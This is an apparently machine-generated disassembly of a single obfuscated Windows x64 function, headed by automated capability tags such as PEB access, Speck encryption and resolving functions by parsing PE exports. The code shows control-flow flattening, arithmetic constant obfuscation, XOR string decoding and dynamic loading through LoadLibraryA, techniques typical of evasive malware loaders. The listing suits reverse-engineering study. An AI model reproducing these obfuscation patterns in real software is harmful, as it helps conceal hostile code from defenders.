Function at 0x14005509d
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Encrypt data using speck
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xb2d86d86
pushf
not eax
add eax, 0x857017cb
xor eax, 0x95367c68
rol eax, 0x34
popf
pushf
not eax
add eax, 0xf7356047
xor eax, 0x9470e629
rol eax, 0x62
popf
cmp eax, 0x63
jne 0x1400550da
popf
pop rax
jmp 0x140059ff5
cmp eax, 0x48
jne 0x1400550e9
popf
pop rax
jmp 0x1400591b8
cmp eax, 0x3f
jne 0x1400550f8
popf
pop rax
jmp 0x140058a2b
cmp eax, 1
jne 0x140055107
popf
pop rax
jmp 0x140055888
cmp eax, 0x4a
jne 0x140055116
popf
pop rax
jmp 0x140059291
cmp eax, 0x1a
jne 0x140055125
popf
pop rax
jmp 0x1400571cd
cmp eax, 0x5d
jne 0x140055134
popf
pop rax
jmp 0x140059b1c
cmp eax, 0x6e
jne 0x140055143
popf
pop rax
jmp 0x14005a782
cmp eax, 0x40
jne 0x140055152
popf
pop rax
jmp 0x140058a65
cmp eax, 0x74
jne 0x140055161
popf
pop rax
jmp 0x14005aabe
cmp eax, 0x2a
jne 0x140055170
popf
pop rax
jmp 0x140057d88
cmp eax, 0x71
jne 0x14005517f
popf
pop rax
jmp 0x14005a94b
cmp eax, 0x1c
jne 0x14005518e
popf
pop rax
jmp 0x140057314
cmp eax, 0x2e
jne 0x14005519d
popf
pop rax
jmp 0x140057fab
cmp eax, 0x4c
jne 0x1400551ac
popf
pop rax
jmp 0x140059350
cmp eax, 0x2b
jne 0x1400551bb
popf
pop rax
jmp 0x140057de2
cmp eax, 0x1b
jne 0x1400551ca
popf
pop rax
jmp 0x14005721f
cmp eax, 0x6a
jne 0x1400551d9
popf
pop rax
jmp 0x14005a5ea
cmp eax, 0x23
jne 0x1400551e8
popf
pop rax
jmp 0x1400578b3
cmp eax, 0x5b
jne 0x1400551f7
popf
pop rax
jmp 0x140059a27
cmp eax, 0x43
jne 0x140055206
popf
pop rax
jmp 0x140058d93
cmp eax, 0x13
jne 0x140055215
popf
pop rax
jmp 0x140056e53
cmp eax, 0x33
jne 0x140055224
popf
pop rax
jmp 0x1400582be
cmp eax, 0x24
jne 0x140055233
popf
pop rax
jmp 0x140057958
cmp eax, 0x1e
jne 0x140055242
popf
pop rax
jmp 0x1400573fe
cmp eax, 0xc
jne 0x140055251
popf
pop rax
jmp 0x14005696a
cmp eax, 0x26
jne 0x140055260
popf
pop rax
jmp 0x140057c04
cmp eax, 0x27
jne 0x14005526f
popf
pop rax
jmp 0x140057c4a
cmp eax, 0x30
jne 0x14005527e
popf
pop rax
jmp 0x1400580f4
cmp eax, 0x10
jne 0x14005528d
popf
pop rax
jmp 0x140056b3c
cmp eax, 0x37
jne 0x14005529c
popf
pop rax
jmp 0x140058611
cmp eax, 9
jne 0x1400552ab
popf
pop rax
jmp 0x14005655a
cmp eax, 0x39
jne 0x1400552ba
popf
pop rax
jmp 0x140058729
cmp eax, 0x16
jne 0x1400552c9
popf
pop rax
jmp 0x140056f59
cmp eax, 0x3b
jne 0x1400552d8
popf
pop rax
jmp 0x14005882c
cmp eax, 0x4b
jne 0x1400552e7
popf
pop rax
jmp 0x1400592f6
cmp eax, 0x36
jne 0x1400552f6
popf
pop rax
jmp 0x140058533
cmp eax, 0x14
jne 0x140055305
popf
pop rax
jmp 0x140056ead
cmp eax, 0x72
jne 0x140055314
popf
pop rax
jmp 0x14005aa09
cmp eax, 0x3d
jne 0x140055323
popf
pop rax
jmp 0x140058902
cmp eax, 0x69
jne 0x140055332
popf
pop rax
jmp 0x14005a5a4
cmp eax, 0x47
jne 0x140055341
popf
pop rax
jmp 0x14005914c
cmp eax, 0x51
jne 0x140055350
popf
pop rax
jmp 0x140059603
cmp eax, 0x11
jne 0x14005535f
popf
pop rax
jmp 0x140056d68
cmp eax, 0x35
jne 0x14005536e
popf
pop rax
jmp 0x1400584d5
cmp eax, 0x68
jne 0x14005537d
popf
pop rax
jmp 0x14005a368
cmp eax, 0x12
jne 0x14005538c
popf
pop rax
jmp 0x140056dae
cmp eax, 0x6b
jne 0x14005539b
popf
pop rax
jmp 0x14005a67c
cmp eax, 0x38
jne 0x1400553aa
popf
pop rax
jmp 0x14005865e
cmp eax, 0x64
jne 0x1400553b9
popf
pop rax
jmp 0x14005a196
cmp eax, 0x5c
jne 0x1400553c8
popf
pop rax
jmp 0x140059ab7
cmp eax, 0x15
jne 0x1400553d7
popf
pop rax
jmp 0x140056eec
cmp eax, 5
jne 0x1400553e6
popf
pop rax
jmp 0x140056083
cmp eax, 6
jne 0x1400553f5
popf
pop rax
jmp 0x1400560d7
cmp eax, 0x5a
jne 0x140055404
popf
pop rax
jmp 0x1400599dc
cmp eax, 0x49
jne 0x140055413
popf
pop rax
jmp 0x140059237
cmp eax, 0x1f
jne 0x140055422
popf
pop rax
jmp 0x14005756f
cmp eax, 4
jne 0x140055431
popf
pop rax
jmp 0x140055fec
cmp eax, 0x2f
jne 0x140055440
popf
pop rax
jmp 0x14005808f
cmp eax, 0x4d
jne 0x14005544f
popf
pop rax
jmp 0x1400593ec
cmp eax, 0x55
jne 0x14005545e
popf
pop rax
jmp 0x14005982d
cmp eax, 0x45
jne 0x14005546d
popf
pop rax
jmp 0x140058e89
cmp eax, 0x2c
jne 0x14005547c
popf
pop rax
jmp 0x140057ea4
cmp eax, 0x5f
jne 0x14005548b
popf
pop rax
jmp 0x140059c43
cmp eax, 0x19
jne 0x14005549a
popf
pop rax
jmp 0x1400570fc
cmp eax, 0x1d
jne 0x1400554a9
popf
pop rax
jmp 0x140057383
cmp eax, 0x61
jne 0x1400554b8
popf
pop rax
jmp 0x140059d01
cmp eax, 0x53
jne 0x1400554c7
popf
pop rax
jmp 0x1400596f1
cmp eax, 0x4f
jne 0x1400554d6
popf
pop rax
jmp 0x1400594f3
cmp eax, 0x6c
jne 0x1400554e5
popf
pop rax
jmp 0x14005a6c3
cmp eax, 7
jne 0x1400554f4
popf
pop rax
jmp 0x1400561ef
cmp eax, 0x20
jne 0x140055503
popf
pop rax
jmp 0x14005766b
cmp eax, 0x56
jne 0x140055512
popf
pop rax
jmp 0x14005988b
cmp eax, 0x3c
jne 0x140055521
popf
pop rax
jmp 0x140058866
cmp eax, 0xd
jne 0x140055530
popf
pop rax
jmp 0x1400569c0
cmp eax, 0xa
jne 0x14005553f
popf
pop rax
jmp 0x1400566d4
cmp eax, 0x18
jne 0x14005554e
popf
pop rax
jmp 0x1400570b1
cmp eax, 0x28
jne 0x14005555d
popf
pop rax
jmp 0x140057cdc
cmp eax, 0x22
jne 0x14005556c
popf
pop rax
jmp 0x14005784f
cmp eax, 0x50
jne 0x14005557b
popf
pop rax
jmp 0x1400595b1
cmp eax, 0x52
jne 0x14005558a
popf
pop rax
jmp 0x14005967d
cmp eax, 0x41
jne 0x140055599
popf
pop rax
jmp 0x140058bc3
cmp eax, 0x67
jne 0x1400555a8
popf
pop rax
jmp 0x14005a2cf
cmp eax, 0x70
jne 0x1400555b7
popf
pop rax
jmp 0x14005a8ed
cmp eax, 0x29
jne 0x1400555c6
popf
pop rax
jmp 0x140057d49
cmp eax, 0x3e
jne 0x1400555d5
popf
pop rax
jmp 0x140058962
cmp eax, 0
jne 0x1400555e4
popf
pop rax
jmp 0x1400557b5
cmp eax, 0x4e
jne 0x1400555f3
popf
pop rax
jmp 0x140059495
cmp eax, 0x31
jne 0x140055602
popf
pop rax
jmp 0x1400581b4
cmp eax, 0x62
jne 0x140055611
popf
pop rax
jmp 0x140059da8
cmp eax, 0x5e
jne 0x140055620
popf
pop rax
jmp 0x140059b9d
cmp eax, 0x25
jne 0x14005562f
popf
pop rax
jmp 0x140057a04
cmp eax, 0xf
jne 0x14005563e
popf
pop rax
jmp 0x140056aa3
cmp eax, 0x44
jne 0x14005564d
popf
pop rax
jmp 0x140058de4
cmp eax, 0x75
jne 0x14005565c
popf
pop rax
jmp 0x14005aaf6
cmp eax, 3
jne 0x14005566b
popf
pop rax
jmp 0x140055f9b
cmp eax, 0x6f
jne 0x14005567a
popf
pop rax
jmp 0x14005a81e
cmp eax, 0x34
jne 0x140055689
popf
pop rax
jmp 0x14005836c
cmp eax, 0x54
jne 0x140055698
popf
pop rax
jmp 0x140059796
cmp eax, 0x59
jne 0x1400556a7
popf
pop rax
jmp 0x14005997c
cmp eax, 0xb
jne 0x1400556b6
popf
pop rax
jmp 0x1400567c9
cmp eax, 0x66
jne 0x1400556c5
popf
pop rax
jmp 0x14005a22a
cmp eax, 0x2d
jne 0x1400556d4
popf
pop rax
jmp 0x140057f60
cmp eax, 0xe
jne 0x1400556e3
popf
pop rax
jmp 0x140056a24
cmp eax, 0x3a
jne 0x1400556f2
popf
pop rax
jmp 0x140058776
cmp eax, 2
jne 0x140055701
popf
pop rax
jmp 0x1400558e8
cmp eax, 0x65
jne 0x140055710
popf
pop rax
jmp 0x14005a1d9
cmp eax, 0x21
jne 0x14005571f
popf
pop rax
jmp 0x1400577f9
cmp eax, 0x73
jne 0x14005572e
popf
pop rax
jmp 0x14005aa5b
cmp eax, 0x17
jne 0x14005573d
popf
pop rax
jmp 0x140056ff5
cmp eax, 0x58
jne 0x14005574c
popf
pop rax
jmp 0x1400598e9
cmp eax, 0x46
jne 0x14005575b
popf
pop rax
jmp 0x140058f35
cmp eax, 0x32
jne 0x14005576a
popf
pop rax
jmp 0x14005822c
cmp eax, 0x6d
jne 0x140055779
popf
pop rax
jmp 0x14005a715
cmp eax, 0x60
jne 0x140055788
popf
pop rax
jmp 0x140059ca3
cmp eax, 0x42
jne 0x140055797
popf
pop rax
jmp 0x140058d3d
cmp eax, 8
jne 0x1400557a6
popf
pop rax
jmp 0x14005624f
cmp eax, 0x57
jne 0x1400557b5
popf
pop rax
jmp 0x1400598dd
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x508
call fcn.1400af979
mov rcx, qword [rsp + 0x530]
call fcn.14012b007
mov dword [rsp + 0xa4], eax
mov ecx, dword [rsp + 0xa4]
call fcn.14012ab33
cmp dword [rsp + 0xa4], 0
jne 0x140055855
push rax
pushf
mov eax, 0xab0b05c0
pushf
not eax
add eax, 0xf0c65b4d
xor eax, 0xbcc2a04f
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xb439af93
xor eax, 0x9c391ba1
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xcbe0dee1
xor eax, 0xaade575a
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x8122e6e8
xor eax, 0xfcd07352
rol eax, 0x2c
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x990195eb
pushf
not eax
add eax, 0xaf60d8c4
xor eax, 0xea704351
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xc5821e83
xor eax, 0xe550def5
rol eax, 0x3e
popf
jmp 0x1400550cb
xor al, al
jmp 0x14005ab2c
mov ecx, dword [rsp + 0xa4]
call fcn.1401272a6
mov qword [rsp + 0x2a0], rax
xor edx, edx
mov rcx, qword [rsp + 0x2a0]
jmp 0x140055907
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [rsp + 0x410], eax
mov eax, 0x6d6144b9
pushf
not eax
add eax, 0xca8c5e86
xor eax, 0xddabf3ab
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xe4985972
xor eax, 0xe19e4f49
rol eax, 0x81
popf
pushf
not eax
add eax, 0xdb3a6d1b
xor eax, 0xd47ee2ac
rol eax, 0x9e
popf
imul rax, rax, 0
lea rcx, [0x1ae0117dc]
pushf
sub rcx, 0x6dfdfbd4
popf
xor edx, edx
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x60], al
mov eax, 0xb6792320
pushf
not eax
add eax, 0xe8469d1b
xor eax, 0xe51d8ccb
rol eax, 0xa
popf
pushf
not eax
add eax, 0x9870c191
xor eax, 0xbf8620eb
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xa59a76a9
xor eax, 0xad04a3fb
rol eax, 0x17
popf
pushf
not eax
add eax, 0x82461b67
xor eax, 0xf6d22e8e
rol eax, 0x94
popf
imul rax, rax, 1
lea rcx, [0x1916cfb26]
pushf
sub rcx, 0x5169df1e
popf
mov edx, 0xa3f6a5c2
pushf
not edx
add edx, 0x891ba3f1
xor edx, 0x831b6b0f
rol edx, 0xe8
popf
pushf
not edx
add edx, 0xb360dffb
xor edx, 0xc0c95a50
rol edx, 0x37
popf
pushf
not edx
add edx, 0xc5de66b3
xor edx, 0xa4d9d8d6
rol edx, 0x88
popf
pushf
not edx
add edx, 0xe09f9d70
xor edx, 0x936206a8
rol edx, 0xa4
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x61], al
mov eax, 0x71a8ca7a
pushf
not eax
add eax, 0xd116190e
xor eax, 0xbaf1c44a
rol eax, 0x77
popf
pushf
not eax
add eax, 0xfb30bbdc
xor eax, 0x852d0078
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x99fd2439
xor eax, 0xb9e7025d
rol eax, 0xc6
popf
imul rax, rax, 2
lea rcx, [0x1b21f766f]
pushf
sub rcx, 0x721c5a67
popf
mov edx, 0x8eed3d71
pushf
not edx
add edx, 0x875d08d9
xor edx, 0xd3a8f3c0
rol edx, 0xb0
popf
pushf
not edx
add edx, 0xcb3f43db
xor edx, 0xafc8cd79
rol edx, 0xe0
popf
pushf
not edx
add edx, 0xe0abfb29
xor edx, 0xea91b847
rol edx, 0x51
popf
pushf
not edx
add edx, 0xd6e7c420
xor edx, 0x9af5318a
rol edx, 0x79
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x62], al
mov eax, 0x411854e0
pushf
not eax
add eax, 0xe03b5243
xor eax, 0xa280874b
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xd487204a
xor eax, 0x8f7f6bfa
rol eax, 0xb
popf
imul rax, rax, 3
lea rcx, [0x19448ff3e]
pushf
sub rcx, 0x5445e336
popf
mov edx, 0x83043fa4
pushf
not edx
add edx, 0xd558119d
xor edx, 0xf90847b0
rol edx, 0x77
popf
pushf
not edx
add edx, 0x9b3967ef
xor edx, 0x8316bdb1
rol edx, 0xe2
popf
pushf
not edx
add edx, 0x90b7a7c0
xor edx, 0xdef8b5bf
rol edx, 0xda
popf
pushf
not edx
add edx, 0xe8a81076
xor edx, 0xa30fa382
rol edx, 0x25
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x63], al
mov eax, 0xb9c6b67d
pushf
not eax
add eax, 0xc088d06d
xor eax, 0xfb85a432
rol eax, 0x92
popf
pushf
not eax
add eax, 0x893e7235
xor eax, 0x91c63d16
rol eax, 0xf2
popf
imul rax, rax, 4
lea rcx, [0x1bd90ee64]
pushf
sub rcx, 0x7d8dd25c
popf
mov edx, 0xb5632537
pushf
not edx
add edx, 0xe4ea7656
xor edx, 0x8338f732
rol edx, 0x44
popf
pushf
not edx
add edx, 0xcd9e0bfe
xor edx, 0xe2b58bf7
rol edx, 0xa0
popf
pushf
not edx
add edx, 0xab23443e
xor edx, 0xc00d2179
rol edx, 0x27
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x64], al
mov eax, 0xdec35438
pushf
not eax
add eax, 0x9bd6f39e
xor eax, 0xfc7aeaaf
rol eax, 0x42
popf
pushf
not eax
add eax, 0xa683c633
xor eax, 0xeca54701
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xbe142694
xor eax, 0x87d7d28f
rol eax, 0x84
popf
imul rax, rax, 5
lea rcx, [0x1b1be6670]
pushf
sub rcx, 0x71bb4a68
popf
mov edx, 0xee91572c
pushf
not edx
add edx, 0xdb004aa5
xor edx, 0xfdd9b1a7
rol edx, 0xd
popf
pushf
not edx
add edx, 0xd6a9cd76
xor edx, 0xef0deb3f
rol edx, 0xca
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x65], al
mov eax, 0xc9444491
pushf
not eax
add eax, 0x88ae52c5
xor eax, 0xb7a4bf04
rol eax, 8
popf
pushf
not eax
add eax, 0x916cd916
xor eax, 0x82211c82
rol eax, 3
popf
pushf
not eax
add eax, 0xf3ed05d7
xor eax, 0xef17115e
rol eax, 0x3f
popf
imul rax, rax, 6
lea rcx, [0x194970413]
pushf
sub rcx, 0x5493e80b
popf
mov edx, 0x4f372ff5
pushf
not edx
add edx, 0x97641e67
xor edx, 0x857b9378
rol edx, 0x77
popf
pushf
not edx
add edx, 0x9c4bfb0c
xor edx, 0xc4fecbbd
rol edx, 0xad
popf
pushf
not edx
add edx, 0x9c2bad20
xor edx, 0xed92c91b
rol edx, 0x3d
popf
pushf
not edx
add edx, 0xa57f6897
xor edx, 0xaabb7d20
rol edx, 0x28
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x66], al
mov eax, 0xfb77a3f3
pushf
not eax
add eax, 0x898db6ce
xor eax, 0xe85c280c
rol eax, 0x91
popf
pushf
not eax
add eax, 0xe942a2d1
xor eax, 0x81a462aa
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xbefdde10
xor eax, 0xed7e4a80
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xc9ff1af5
xor eax, 0xd7586c04
rol eax, 0x68
popf
imul rax, rax, 7
lea rcx, [0x1881bba19]
pushf
sub rcx, 0x48189e11
popf
mov edx, 0x419c105d
pushf
not edx
add edx, 0x94eb7fbb
xor edx, 0xa34cce33
rol edx, 0x4d
popf
pushf
not edx
add edx, 0xb720f163
xor edx, 0xb1568011
rol edx, 0xb0
popf
pushf
not edx
add edx, 0x96b68e21
xor edx, 0xf968cc69
rol edx, 0x68
popf
pushf
not edx
add edx, 0xd5f205a7
xor edx, 0x939bf2ac
rol edx, 5
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x67], al
mov eax, 0xa4648ca4
pushf
not eax
add eax, 0x84f9769f
xor eax, 0xe427af38
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xce93f527
xor eax, 0xedcc3e90
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xaa648b8a
xor eax, 0x89cbc4d2
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xa9607901
xor eax, 0xb0b14d5d
rol eax, 0x79
popf
imul rax, rax, 8
lea rcx, [0x1bec1242a]
pushf
sub rcx, 0x7ebe0822
popf
mov edx, 0xca4038
pushf
not edx
add edx, 0xc84b1dad
xor edx, 0x8c6bf3d8
rol edx, 0x1c
popf
pushf
not edx
add edx, 0x96cb2d3e
xor edx, 0xd20c7ad3
rol edx, 0xbc
popf
movzx ecx, byte [rcx + rax]
call fcn.140159dce
mov byte [rsp + 0x68], al
lea rax, [rsp + 0x69]
lea rax, [rsp + 0x69]
mov rdi, rax
xor eax, eax
mov ecx, 0x5a15df86
pushf
not ecx
add ecx, 0xf7df0b59
xor ecx, 0xa49ac96e
rol ecx, 0xa5
popf
pushf
not ecx
add ecx, 0x910300bf
xor ecx, 0x86fa7678
rol ecx, 0xc5
popf
pushf
not ecx
add ecx, 0xabbadaec
xor ecx, 0xb55d9894
rol ecx, 0x64
popf
pushf
not ecx
add ecx, 0x88723696
xor ecx, 0xf4bbaee3
rol ecx, 0x69
popf
rep stosb byte [rdi], al
mov dword [rsp + 0x44], 0
jmp 0x140055fec
mov eax, dword [rsp + 0x44]
jmp 0x140055fa0
inc eax
mov dword [rsp + 0x44], eax
push rax
pushf
mov eax, 0x44268b0e
pushf
not eax
add eax, 0x97626876
xor eax, 0xd623fd78
rol eax, 0x81
popf
pushf
not eax
add eax, 0xf177df82
xor eax, 0xc7ad9d6f
rol eax, 0x79
popf
pushf
not eax
add eax, 0xf914845b
xor eax, 0x9ed2b456
rol eax, 0x18
popf
jmp 0x1400550cb
movsxd rax, dword [rsp + 0x44]
cmp rax, 9
jae 0x14005602a
push rax
pushf
mov eax, 0x31af077d
pushf
not eax
add eax, 0xa0401dab
xor eax, 0x9dfbe450
rol eax, 0x71
popf
pushf
not eax
add eax, 0x98e17a71
xor eax, 0xb345939b
rol eax, 0x4b
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xe5d000ee
pushf
not eax
add eax, 0x89cd5add
xor eax, 0xb00f31ec
rol eax, 0x15
popf
pushf
not eax
add eax, 0xaaa24fc3
xor eax, 0x8818f0e9
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xab8d4b6c
xor eax, 0x8297f7d0
rol eax, 0xc
popf
pushf
not eax
add eax, 0x8d4e6410
xor eax, 0xd04da811
rol eax, 0xd8
popf
jmp 0x1400550cb
movsxd rax, dword [rsp + 0x44]
movsx eax, byte [rsp + rax + 0x60]
mov ecx, dword [rsp + 0x44]
add ecx, 0x13
xor eax, ecx
movsxd rcx, dword [rsp + 0x44]
mov byte [rsp + rcx + 0x60], al
jmp 0x140055f9b
mov eax, 0xb9778dae
pushf
not eax
add eax, 0x89f1fee8
xor eax, 0xe7a60089
rol eax, 0x31
popf
pushf
not eax
add eax, 0xf8c0be62
xor eax, 0xc09bc5a2
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xbdfaea4d
xor eax, 0xfe89c8d2
rol eax, 0xd2
popf
imul rax, rax, 9
mov byte [rsp + rax + 0x60], 0
lea rax, [rsp + 0x60]
mov rcx, rax
jmp 0x140056127
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x440], rax
mov rax, qword [rsp + 0x528]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
jne 0x1400561a9
push rax
pushf
mov eax, 0x58565495
pushf
not eax
add eax, 0xaaec85e4
xor eax, 0x90d36626
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x8a85228f
xor eax, 0xf6684a96
rol eax, 0x29
popf
pushf
not eax
add eax, 0xaa42312d
xor eax, 0xe3257890
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xededfb31
xor eax, 0xa1fc8cf4
rol eax, 0xdc
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x8c8a07b4
pushf
not eax
add eax, 0xc7614933
xor eax, 0xa4791d64
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xae394727
xor eax, 0x982bb086
rol eax, 0x91
popf
pushf
not eax
add eax, 0x9ba8f7ea
xor eax, 0xfcac8665
rol eax, 0x46
popf
jmp 0x1400550cb
xor al, al
jmp 0x14005ab2c
mov eax, 0xe28505b7
pushf
not eax
add eax, 0x809905bc
xor eax, 0xa92de8fa
rol eax, 0x65
popf
pushf
not eax
add eax, 0x8038125b
xor eax, 0x9822d094
rol eax, 0x57
popf
mov rcx, qword [rsp + 0x98]
mov word [rcx], ax
mov rcx, qword [rsp + 0x98]
call fcn.1400ce8db
mov qword [rsp + 0x80], rax
mov eax, dword [0x140040214]
mov dword [rsp + 0x170], eax
lea rax, [rsp + 0xa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x9df062d8
pushf
not ecx
add ecx, 0xc9e8c1eb
xor ecx, 0xbfb84409
rol ecx, 0xf2
popf
pushf
not ecx
add ecx, 0xc8c76297
xor ecx, 0xa6373e06
rol ecx, 0xc9
popf
pushf
not ecx
add ecx, 0xdb5f208e
xor ecx, 0xe02d3222
rol ecx, 0x36
popf
pushf
not ecx
add ecx, 0xdd96d3d6
xor ecx, 0xaacf1f22
rol ecx, 0x46
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x4b6]
lea rcx, [0x19d05e1d8]
pushf
sub rcx, 0x5d02c498
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x90fc1b93
pushf
not ecx
add ecx, 0x8dd3ab61
xor ecx, 0xec69d2f7
rol ecx, 0xeb
popf
pushf
not ecx
add ecx, 0xc0204731
xor ecx, 0xcf1676ab
rol ecx, 0x6d
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x4b6]
call fcn.1400d8da8
mov qword [rsp + 0x2a8], rax
mov edx, dword [rsp + 0x170]
mov rcx, qword [rsp + 0x2a8]
call fcn.1400fd54a
mov qword [rsp + 0x358], rax
mov eax, dword [0x140040214]
mov dword [rsp + 0x174], eax
lea rax, [rsp + 0xa1]
mov rdi, rax
xor eax, eax
mov ecx, 0xe7b34dac
pushf
not ecx
add ecx, 0x98d8f984
xor ecx, 0xb0c6896d
rol ecx, 0xa3
popf
pushf
not ecx
add ecx, 0xfd55d888
xor ecx, 0xe800f199
rol ecx, 0xdd
popf
pushf
not ecx
add ecx, 0x8a1aa8a2
xor ecx, 0xc952223c
rol ecx, 0xb0
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x48e]
lea rcx, [0x18b173f2a]
pushf
sub rcx, 0x4b1421a2
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa8d937c5
pushf
not ecx
add ecx, 0x880da966
xor ecx, 0x9e58e018
rol ecx, 0x83
popf
pushf
not ecx
add ecx, 0xae966803
xor ecx, 0xd335dd96
rol ecx, 0x52
popf
pushf
not ecx
add ecx, 0xb26d2a82
xor ecx, 0xbc305837
rol ecx, 0xab
popf
pushf
not ecx
add ecx, 0xc9cf280a
xor ecx, 0xb2bcf690
rol ecx, 0xcc
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x48e]
call fcn.1400c603b
mov qword [rsp + 0x2b0], rax
mov edx, dword [rsp + 0x174]
mov rcx, qword [rsp + 0x2b0]
call fcn.1400fd54a
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0
jne 0x140056501
push rax
pushf
mov eax, 0xb3aaf2d8
pushf
not eax
add eax, 0xaf99150d
xor eax, 0xdb8f473c
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xcd2c3c41
xor eax, 0xcfcbc44c
rol eax, 0x59
popf
pushf
not eax
add eax, 0xdb21c4ec
xor eax, 0x9a6d9917
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xe0abb727
xor eax, 0xbb961122
rol eax, 0xeb
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xf1d3ba8d
pushf
not eax
add eax, 0x80aea73d
xor eax, 0x956f9d81
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xc5fd9850
xor eax, 0xd6d795bf
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xb79289d8
xor eax, 0xca77aecc
rol eax, 0xef
popf
pushf
not eax
add eax, 0xbe20900c
xor eax, 0xbacf9b11
rol eax, 0x6b
popf
jmp 0x1400550cb
mov eax, dword [0x140040214]
mov dword [rsp + 0x178], eax
lea rax, [rsp + 0xa2]
mov rdi, rax
xor eax, eax
mov ecx, 0x675a96de
pushf
not ecx
add ecx, 0x8d444e80
xor ecx, 0xefeef027
rol ecx, 0x83
popf
pushf
not ecx
add ecx, 0xfc689de6
xor ecx, 0x8870e77a
rol ecx, 0xac
popf
pushf
not ecx
add ecx, 0xb831069a
xor ecx, 0xcfa052ea
rol ecx, 0xc
popf
pushf
not ecx
add ecx, 0xca3c95e7
xor ecx, 0x8bd0b5c0
rol ecx, 0xdb
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x468]
lea rcx, [0x1a728ecfd]
pushf
sub rcx, 0x6725ceed
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x20853ccf
pushf
not ecx
add ecx, 0xdf2b5ab2
xor ecx, 0xede366bb
rol ecx, 0x37
popf
pushf
not ecx
add ecx, 0xfa37789e
xor ecx, 0x8e1b2ccc
rol ecx, 0xa3
popf
pushf
not ecx
add ecx, 0xef56d73f
xor ecx, 0x82d3675a
rol ecx, 0x17
popf
pushf
not ecx
add ecx, 0xadc06c67
xor ecx, 0xac984635
rol ecx, 0x23
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x468]
call fcn.1400ac3b0
mov qword [rsp + 0x2b8], rax
mov edx, dword [rsp + 0x178]
mov rcx, qword [rsp + 0x2b8]
call fcn.1400fd54a
mov qword [rsp + 0xc8], rax
push rax
pushf
mov eax, 0x30eed349
pushf
not eax
add eax, 0x9ec96ba1
xor eax, 0xb7681db7
rol eax, 0x44
popf
pushf
not eax
add eax, 0xd341c2d3
xor eax, 0xf0699ebc
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x85ae2e5f
xor eax, 0x861aca11
rol eax, 0x78
popf
pushf
not eax
add eax, 0xcdaa1c28
xor eax, 0xaedd6462
rol eax, 0xb9
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0xc8]
add rax, 0x3000
mov qword [rsp + 0x448], rax
mov rax, qword [rsp + 0xc8]
add rax, 0x50000
mov qword [rsp + 0x78], rax
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x78]
call fcn.1400fc014
movzx eax, al
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x98]
call fcn.1400a4d17
movzx eax, al
mov dword [rsp + 0x188], 0x3e8
mov rax, qword [rsp + 0x450]
mov qword [rsp + 0x1d8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x2c8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x1d0], rax
push rax
pushf
mov eax, 0xc2f72015
pushf
not eax
add eax, 0x9868ecdf
xor eax, 0xc90d2171
rol eax, 0xde
popf
pushf
not eax
add eax, 0xf56f4d80
xor eax, 0xee5010d1
rol eax, 0x5a
